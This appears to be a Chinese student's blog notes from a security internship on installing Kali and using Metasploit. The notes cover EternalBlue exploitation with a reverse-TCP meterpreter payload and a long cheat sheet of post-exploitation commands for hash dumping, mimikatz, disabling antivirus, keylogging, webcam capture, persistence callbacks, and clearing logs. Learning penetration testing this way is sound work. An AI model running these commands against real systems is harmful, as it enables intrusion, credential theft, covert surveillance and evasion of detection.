粤嵌科技毕业实习Day5

粤嵌科技毕业实习Day5

1.虚拟机安装kali,更换root账号登录,熟悉基础命令,更新源

安装kali:https://blog.csdn.net/qq_30250551/article/details/108046857?biz_id=102&utm_term=vm15%E5%AE%89%E8%A3%85kali&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduweb~default-5-108046857&spm=1018.2118.3001.4187

由于新版的kali2020版本安装没有要求设置root密码,所有默认root没有密码,要想进入root用户需要给修改root密码,在普通用户下使用如下命令:

sudo passwd root

2.熟悉metasploit的命令及使用

  • Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利 用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。
  1. kali安装MSF

    apt-get install metasploit-framework
    /etc/init.d/postgresql start  #启动postgresql数据库
    update-rc.d postgresql enable  #postgresql开机自启动
    
    #初始化MSF数据库,关键!默认创建数据库名:msf,msf_test,用户;msf;默认口令为零;
    msfdb init	
    
  2. 使用方法

    msfconsole  #进入框架
    search  ms17-010	#使用search命令查找相关漏洞: 
    use exploit/windows/smb/ms17_010_eternalblue  #使用use进入模块
    info	#使用info查看模块信息
    set payload windows/x64/meterpreter/reverse_tcp	 #设置攻击载荷
    show options  #查看模块需要配置的参数
    set  RHOST  192.168.125.138  #设置参数
    exploit / run  #攻击
    后渗透阶段
    

    可 以 将 攻 击 代 码 写 入 configure.rc ( 只 要 是 以 .rc 结 尾 的 文 件 ) 配 置 文 件 中 , 然 后 使 用 命 令 msfconsole -r configure.rc 进行自动攻击!

  3. 进阶

  • 漏洞利用(exploit)

    • 里面有针对不同平台不同服务的漏洞。
    • exploit 漏 洞 利 用 模 块 路 径 : /usr/share/metasploitframework/modules/exploits
  • 攻击载荷(payload)

    • Payload中包含攻击进入目标主机后需要在远程系统中运行的恶意代码,简而言之,这种漏洞利用模块可以访问目标系统
    • payload 模 块 路 径 : /usr/share/metasploitframework/modules/payloads
    • Shellcode是payload中的精髓部分,在渗透攻击时作为攻击载荷运行的 一组机器指令。在大多数情况下,目标 系统执行了shellcode这一组指令 之后,才会提供一个命令行shell。
    • Payload 模块主要有以下三种类型:
      • -Single
        • Single是一种完全独立的Payload,而且使用起来就像运行 calc.exe 一样简单,例如添加一个系统用户或删除一份文件。但有 可 能 会 被 类 似 netcat 这样的非metasploit处理工具所捕捉到。
      • -Stager
        • Stager这种Payload负责建立目标用户与攻击者之间的网络连接,并 下 载 额 外 的 组 件 或 应 用 程 序 。
        • Stager中几种常见的payload
          1. windows/meterpreter/bind_tcp # 正向连接
            • 应用场景:被攻击机无法主动连接到攻击机
          2. windows/meterpreter/reverse_tcp # 反向连接,常用
            • 应用场景:被攻击机能主动连接到攻击机,就算被攻击机开了防火墙也无妨,因为不会阻止被攻击机主动向外连接的流量
          3. windows/meterpreter/reverse_http # 通过监听 80 端口反向连接
            • 应用场景:被攻击机能主动连接到攻击机,被攻击机开了防火墙特别严格,只允许被攻击机的80端口与外部通信
          4. windows/meterpreter/reverse_https # 通过监听 443 端口反向连接
            • 应用场景:被攻击机能主动连接到攻击机,被攻击机开了防火墙特别严格,只允许被攻击机的443端口与外部通信
      • -Stage
        • Stage 是 Stager Payload下的一种Payload组件,这种Payload可以提供更加高级的 功能,而且没有大小限制。
  • Meterpreter

    • Meterpreter是一种后渗透工具,它属于一种在运行过程 中可通过网络进行功能扩展的动态可扩展型Payload。能够通过创建一个新进程并调用注入的DLL来 让目标系统运行注入的DLL文件。
    • 工作原理:
      1. 执行初始的溢出漏洞会话连接(可能是bind正向连接,或者反弹reverse连接)
      2. 反射连接的时候加载dll链接文件,同时后台悄悄处理dll文件。
      3. Meterpreter核心代码初始化 , 通过socket套接字建立一个TLS/1.0加密隧道并发送GET请求给Metasploit服务端。
      4. Metasploit服务端收到这个GET请求后就配置相应客户端。
      5. Meterpreter加载扩展,所有的扩展被加载都通过TLS/1.0进行数据传输。
    • Meterpreter的特点:
      • Meterpreter完全驻留在内存,没有写入到磁盘
      • Meterpreter注入的时候不会产生新的进程,并可以很容易的移植到 其它正在运行的进程
      • 默认情况下, Meterpreter的通信是加密的,所以很安全
      • 扩展性,许多新的特征模块可以被加载。
  • 后渗透阶段

    # 要想从目标主机shell退出到 meterpreter ,我们只需输入:exit
    
    # 要想从 meterpreter 退出到MSF框架,输入:background
    
    • meterpreter的指令

      sysinfo             # 查看目标主机系统信息
      run scraper         # 查看目标主机详细信息
      run hashdump        # 导出密码的哈希
      load kiwi           # 加载 mimikatz
      ps                  # 查看目标主机进程信息
      pwd                 # 查看目标当前目录 (windows)
      getlwd              # 查看目标当前目录 (Linux)
      search -f *.jsp -d e:   # 搜索E盘中所有以 .jsp 为后缀的文件
      download  e:	est.txt  /root   # 将目标机的 e:	est.txt 文件下载到/root 目录下
      upload    /root/test.txt d:	est   # 将/root/test.txt 上传到目标机的 d:	est 目录下
      getpid          # 查看当前 Meterpreter Shell 的进程 PID
      migrate 1384     # 将当前 Meterpreter Shell 的进程迁移到 PID 为 1384 的进程上
      idletime            # 查看主机运行时间
      getsystem   # Meterpreter提供了一个getsystem命令,它可以使用多种技术在目标系统中实现提权. 注:执行getsystem命令后,会显示错误,但是其实已经运行成功了!
      getuid   # 可以获取当前用户的信息,用户为NT AUTHORITYSYSTEM ,这个也就是Windows的系统权限。
      run  killav  # 关闭杀毒软件,拿到目标主机的shell后第一件事就是关闭掉目标主机的杀毒软件
      screenshot          # 截图
      webcam_list         # 查看目标主机的摄像头
      webcam_snap         # 拍照
      webcam_stream       # 开视频
      execute  参数  -f 可执行文件   # 执行可执行程序
      run getgui -u hack -p 123    # 创建 hack 用户,密码为 123
      run getgui -e                # 开启远程桌面
      keyscan_start                # 开启键盘记录功能
      keyscan_dump                 # 显示捕捉到的键盘记录信息
      keyscan_stop                 # 停止键盘记录功能
      uictl  disable  keyboard     # 禁止目标使用键盘
      uictl  enable   keyboard     # 允许目标使用键盘
      uictl  disable  mouse        # 禁止目标使用鼠标
      uictl  enable   mouse        # 允许目标使用鼠标
      load                         # 使用扩展库
      run                     # 使用扩展库
       
      run persistence -X -i 5 -p 8888 -r 192.168.10.27        # 反弹时间间隔是 5s 会自动连接 192.168.27 的 4444 端口,缺点是容易被杀毒软件查杀
      portfwd add -l 3389 -r 192.168.11.13 -p 3389     # 将 192.168.11.13 的 3389 端口转发到本地的 3389 端口上,这里的 192.168. 11.13 是获取权限的主机的 ip 地址
      clearev      # 清除日志
      
      Meterpreter支持非常多的文件系统命令(基本跟Linux系统命令类似)
      cd  # 切换目标目录;
      cat  # 读取文件内容;
      rm  # 删除文件;
      edit  # 使用vim编辑文件
      ls  # 获取当前目录下的文件;
      mkdir  # 新建目录;
      rmdir  # 删除目录;
      download  file  # 命令可以帮助我们从目标系统中下载文件
      upload  file   # 命令则能够向目标系统上传文件
      
    • Post 后渗透模块

      • 该模块主要用于在取得目标主机系统远程控制权后,进行一系列的后渗透 攻击动作。

        run post/windows/manage/migrate       # 自动进程迁移
        run post/windows/gather/checkvm       # 查看目标主机是否运行在虚拟机上
        run post/windows/manage/killav          # 关闭杀毒软件
        run post/windows/manage/enable_rdp        # 开启远程桌面服务
        run post/windows/manage/autoroute         # 查看路由信息
        run post/windows/gather/enum_logged_on_users    # 列举当前登录的用户
        run post/windows/gather/enum_applications       # 列举应用程序
        run windows/gather/credentials/windows_autologin # 抓取自动登录的用户名和密码
        run windows/gather/smart_hashdump               #dump 出所有用户的 hash
        run post/windows/gather/checkvm    # 查看主机是否运行在虚拟机上 
        run scraper  # 获取目标主机的详细信息 
        run windows/gather/credentials/windows_autologin   #抓取自动登录的用户名和密码
        run hashdump   # 需要系统权限, 可以从SAM数据库中导出本地用户账号
        run windows/gather/smart_hashdump   # 需要系统权限,可以导出域内所有用户的hash,可以使用类似John the Ripper这样的工具来破解密码
        

本文作者:AlubNoBug
本文链接:https://www.cnblogs.com/AlubNoBug/p/13670546.html

原文地址:https://www.cnblogs.com/AlubNoBug/p/13670546.html